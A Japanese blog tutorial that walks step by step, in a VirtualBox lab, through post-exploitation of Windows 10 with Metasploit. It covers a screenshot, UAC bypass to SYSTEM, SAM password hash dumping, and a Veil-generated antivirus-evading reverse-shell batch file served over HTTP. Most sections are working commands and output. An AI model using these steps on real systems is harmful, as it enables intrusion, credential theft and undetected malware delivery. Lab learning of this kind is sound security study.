続・はじめてのWindows10ハッキング

# はじめに

株式会社ピー・アール・オーのアドベントカレンダー15日目です。
投稿が遅れてすみません…！！！

本記事は「はじめてのWindows10ハッキング」の続きとなります。
単体で見ても「こんなことができるのか〜」と思っていただけるよう努力しますが、「自分でもやってみたい！」という方は、[前回の記事](https://qiita.com/s_arakawa626/items/1d035b0413ab60674ccb)も合わせてどうぞよろしくお願いします。

# やること

前回は、VMで作成したターゲット環境（Windows10）に対し、攻撃環境（Kali Linux）からMetasploit Framework（以下、Metasploit）というツールを使用して攻撃、遠隔操作を行ってみました。
今回は、ターゲット端末に侵入した後に行うことの一部を体験してみます。

- スクリーンショットの撮影
- SYSTEM権限の取得
- Windowsのパスワードハッシュを入手する
- アンチウイルスのウイルス検知を回避する

ここでは、あらかじめMeterpreterセッションが確立している状態であることを前提としております（[前回記事「攻撃端末からターゲット端末を制御できるようにする」](https://qiita.com/s_arakawa626/items/1d035b0413ab60674ccb#%E6%94%BB%E6%92%83%E7%AB%AF%E6%9C%AB%E3%81%8B%E3%82%89%E3%82%BF%E3%83%BC%E3%82%B2%E3%83%83%E3%83%88%E7%AB%AF%E6%9C%AB%E3%82%92%E5%88%B6%E5%BE%A1%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%99%E3%82%8B)参照）。

# 注意！
本記事は不正アクセスを推奨するためのものではありません。
紹介する内容を他人の環境に実行することは**絶対にしないでください**

# 検証環境
[前回](https://qiita.com/s_arakawa626/items/1d035b0413ab60674ccb#%E6%BA%96%E5%82%99%E3%81%99%E3%82%8B)と同じです。

- ホスト OS: macOS 10.15.2 Beta
- ゲスト OS
  - 攻撃端末: Kali Linux 5.3.0-kali2-amd64
  - ターゲット端末: Windows10
- 仮想化ソフト: VirtualBox 6.0.14 r133895 (Qt5.6.3)

|端末 |IPアドレス |
| ---- | ---- |
|Kali Linux（攻撃端末） |10.0.0.2 |
|Windows10（ターゲット端末） |10.0.0.102 |

# スクリーンショットを撮影する
次のコマンドを入力するとターゲット端末で現在表示中の画面を撮影します。

```
meterpreter > screenshot
Screenshot saved to: /root/ImgBawmm.jpeg
```
赤枠内がターゲット端末のスクリーンショットです。
<img width="683" alt="スクリーンショット 2019-12-15 16.04.38.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/17e5cc54-bf61-d8ca-7ed5-6434b3952153.png">

# SYSTEM権限を取得する

管理者権限がないと様々な操作に制限がかかるため、権限を昇格させます。

## getsystemコマンドで権限昇格を試みる（失敗）

現在の権限を確認します。

```
meterpreter > getuid
Server username: DESKTOP-4V3PT8F\arakawa
```

MeterpreterにはSYSTEM権限への昇格を試みるgetsystemコマンドが用意されていますが、侵入しているユーザーの権限が低いため失敗します。

```
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
```

## UAC機能をバイパスするモジュールを試みる

getsystemコマンドが失敗したのは、Windowsのユーザーアカウント制御（UAC）機能によりブロックされたためであり、これを回避するモジュールを探します。

まず、一度Meterpreterプロンプトをバックグラウンドに回し、msfプロンプトに戻ります。

```
meterpreter > background
[*] Backgrounding session 1..
msf5 exploit(multi/handler) > 
```

接続中のセッションを確認します

```
msf5 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                                Connection
  --  ----  ----                     -----------                                ----------
  1         meterpreter x64/windows  DESKTOP-4V3PT8F\arakawa @ DESKTOP-4V3PT8F  10.0.0.2:4444 -> 10.0.0.102:50763 (10.0.0.102)
```

キーワード「bypassuac」でモジュールを検索します。

```
msf5 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   1   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   2   exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   3   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   4   exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   5   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   6   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   7   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   8   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   9   exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)
   10  exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   11  exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   12  exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry

```

このうち次のモジュールを用い、確立済みのセッションを通じてExploitを送り込みます。

>8   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)

```
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup   <----入力　モジュールを使用
msf5 exploit(windows/local/bypassuac_silentcleanup) > show targets  <----入力

Exploit targets:

   Id  Name
   --  ----
   0   Microsoft Windows

msf5 exploit(windows/local/bypassuac_silentcleanup) > set TARGET 0   <----入力　ターゲットを設定
TARGET => 0
msf5 exploit(windows/local/bypassuac_silentcleanup) > set SESSION 1   <----入力　セッションを設定
SESSION => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > set payload windows/x64/meterpreter/reverse_tcp   <----入力　対象のペイロードを設定
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_silentcleanup) > set LHOST 10.0.0.2   <----入力　待ち受け先ホストを設定
LHOST => 10.0.0.2
msf5 exploit(windows/local/bypassuac_silentcleanup) > show options   <----入力　設定確認

Module options (exploit/windows/local/bypassuac_silentcleanup):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   PSH_PATH   %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe  yes       The path to the Powershell binary.
   SESSION    1                                                        yes       The session to run this module on.
   SLEEPTIME  0                                                        no        The time (ms) to sleep before running SilentCleanup


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.0.2         yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows


msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit   <----入力　実行

[*] Started reverse TCP handler on 10.0.0.2:4444 
[+] Part of Administrators group! Continuing...
[*] Sending stage (206403 bytes) to 10.0.0.102
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.102:50983) at 2019-12-15 18:17:57 +0900

meterpreter >    <--meterpreterプロンプトが返ってきたら成功
```

## 再度getsystemで権限昇格を試みる（成功）

```
meterpreter > getuid
Server username: DESKTOP-4V3PT8F\arakawa   <--実行前は通常ユーザー
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM   <--SYSTEM権限
```

これでSYSTEM権限を得ることができました。

# パスワードハッシュを入手する

SYSTEM権限を取得したあとにできるようになることの一つに、パスワードハッシュの入手があります。入手したハッシュは主にWindowsのパスワード解析に用いられます。
なお、パスワード解析については今回は扱いません。

ローカルアカウントであれば、SAMデータベース（"C:¥Windows¥System32¥config¥SAM"ファイル）でログオン認証の管理を行っており、パスワードがハッシュ形式で記録されています。

Metasploitではrun hashdumpコマンドでパスワードハッシュが入手できますが、SYSTEM権限でないとエラーになります。

```
meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d1584c448032fe34d1e8e158d04561ed...
/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


＜パスワードハッシュ＞

```

＜パスワードハッシュ＞の部分に出力されます。

# アンチウイルスを回避する

アンチウイルスによるウイルス検知を回避してMeterpreterセッションを確立します。

# Veilでアンチウイルスを回避するペイロードを作成する
## Veil Frameworkをインストールする
Veil Framwwork(以下、Veil)アンチウイルスを回避するようなペイロードを生成するツール群です。

VeilはKali Linuxに用意されていないので、別途インストールします。

```
root@kali:~# apt install veil-evasion
```

## Veilの起動

次のコマンドをKaliにGUIログインした状態で実行します。
途中、依存関係のインストールをしてもいいか聞かれるので、「s」（サイレントモードでインストール）を選択します。

```
root@kali:~# veil
===============================================================================
                             Veil | [Version]: 3.1.12
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

	2 tools loaded

Available Tools:

	1)	Evasion
	2)	Ordnance

Available Commands:

	exit			Completely exit Veil
	info			Information on a specific tool
	list			List available tools
	options			Show Veil configuration
	update			Update Veil
	use			Use a specific tool

Veil>: 
```

※SSHログインした状態で実行すると、Wineのインストールでダイアログ失敗してエラーになります。

```
 [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe).   Run: /usr/share/veil/config/setup.sh --force --silent
```

## Veilでペイロードを作成する

### Veilをアップデートする
ウイルス検知と回避の技術は常に更新されていきますので、なるべく回避の成功率をあげるために最新化しておきます。

```
Veil>: update
Hit:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree       
Reading state information... Done
veil is already the newest version (3.1.12-0kali1).
veil set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 203 not upgraded.


Veil has checked for updates, press enter to continue
```

### ツールを選択する

EvasionとOrdnanceの２つのツールがロードされましたが、ウイルス検知を回避するのでEvasionを選択します。

```
Veil>: use 1
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Veil-Evasion Menu

	41 payloads loaded

Available Commands:

	back			Go to Veil's main menu
	checkvt			Check VirusTotal.com against generated hashes
	clean			Remove generated artifacts
	exit			Completely exit Veil
	info			Information on a specific payload
	list			List available payloads
	use			Use a specific payload

```

### ペイロードを選択する

一覧からWindows向けリバースシェルである"powershell/meterpreter/rev_tcp.py"を選択します。

```
Veil/Evasion>: list   <--入力
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================


 [*] Available Payloads:

	1)	autoit/shellcode_inject/flat.py

	2)	auxiliary/coldwar_wrapper.py
＜略＞
	22)	powershell/meterpreter/rev_tcp.py
＜略＞
	41)	ruby/shellcode_inject/flat.py


Veil/Evasion>: use 22   <--入力
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 Payload Information:

	Name:		Pure PowerShell Reverse TCP Stager
	Language:	powershell
	Rating:		Excellent
	Description:    pure windows/meterpreter/reverse_tcp stager, no
	                shellcode

Payload: powershell/meterpreter/rev_tcp selected

 Required Options:

Name            	Value   	Description
----            	-----   	-----------
BADMACS         	FALSE   	Checks for known bad mac addresses
DOMAIN          	X       	Optional: Required internal domain
HOSTNAME        	X       	Optional: Required system hostname
LHOST           	        	IP of the Metasploit handler
LPORT           	4444    	Port of the Metasploit handler
MINBROWSERS     	FALSE   	Minimum of 2 browsers
MINPROCESSES    	X       	Minimum number of processes running
MINRAM          	FALSE   	Require a minimum of 3 gigs of RAM
PROCESSORS      	X       	Optional: Minimum number of processors
SLEEP           	X       	Optional: Sleep "Y" seconds, check if accelerated
USERNAME        	X       	Optional: The required user account
USERPROMPT      	FALSE   	Window pops up prior to payload
UTCCHECK        	FALSE   	Check that system isn't using UTC time zone
VIRTUALPROC     	FALSE   	Check for known VM processes

 Available Commands:

	back        	Go back to Veil-Evasion
	exit        	Completely exit Veil
	generate    	Generate the payload
	options     	Show the shellcode's options
	set         	Set shellcode option

[powershell/meterpreter/rev_tcp>>]: set LHOST 10.0.0.2   <--入力　攻撃端末を接続先に指定する
[powershell/meterpreter/rev_tcp>>]: options   <--入力　設定確認

＜略＞

```

### ペイロード作成

genetateコマンドで作成します。

```
[powershell/meterpreter/rev_tcp>>]: generate   <--入力
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [>] Please enter the base name for output files (default is payload): evil3   <--入力 ペイロード名を指定する
＜略＞

```

exitコマンドでVeilを抜け、作成したペイロードをデスクトップにコピーします。

```
Veil/Evasion>: exit
root@kali:~# cp /var/lib/veil/output/source/evil3.bat /root/Desktop
```

## Windows Defenderのリアルタイム保護を回避する

Metasploitで作成したペイロードでは、Windowsのリアルタイム保護を無効にしていないと、ダウンロード時、実行時に検知されてセッションを確立できませんが、ここで作成したペイロードは検知されずにダウンロード、実行が可能になります（２０１9年12月時点）。

### ペイロードを外部からダウンロードできるようにする
作成したペイロードを外部からダウンロードできるフォルダに配置し、meterpreterでリバースシェルの待ち受け状態にしておきます。
ペイロードの指定は"windows/meterpreter/reverse_tcp"にします。

```
root@kali:~# cp /root/Desktop/evil3.bat /var/www/html/share/ 
root@kali:~# service apache2 restart
root@kali:~# msfconsole
<略>
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf5 exploit(multi/handler) > exploit
```

### ペイロードをダウンロードする

ターゲット端末でevil3.batをダウンロードします。この時点ではウイルスとして検知されません。

<img width="842" alt="スクリーンショット 2019-12-16 4.30.36.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/bfcaef54-688b-f0d5-3eff-463d66b489f2.png">

### ペイロードを実行する

evil3.batダブルクリックすると警告画面が表示されますが、詳細情報から実行をクリックします。


<img width="842" alt="スクリーンショット 2019-12-16 4.31.32.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/b40a3d7b-ad69-8100-224c-9fc7ce1c73d0.png">

Kali側に反応がありMeterpreterプロンプトが返ってこれば、検知されずにセッションが確立したことになります。
プロンプトが返ってこない場合は、セキュリティソフトのなんらかの機能によりブロックされている可能性があります。

# 最後に

今回SYSTEM権限の取得でうまくセッションが確立しなかったり、veilが起動しなかったりと結構苦戦しました。
基本的にはコマンド一つでなんでもできるように用意されていて楽だと思った反面、中身がよくわかっていないと、うまくいかないときの対処が難しくなってきたように感じます。
そういう人でも割と簡単に実行できてしまうのも恐ろしいですね。

# 参考
[IPUSIRON『ハッキング・ラボのつくりかた　仮想環境におけるハッカー体験学習』翔泳社（amazon）](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON-ebook/dp/B07JJKLZNW)
[『ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習』サポートサイト FAQ](http://s-akademeia.sakura.ne.jp/main/books/lab/faq.html)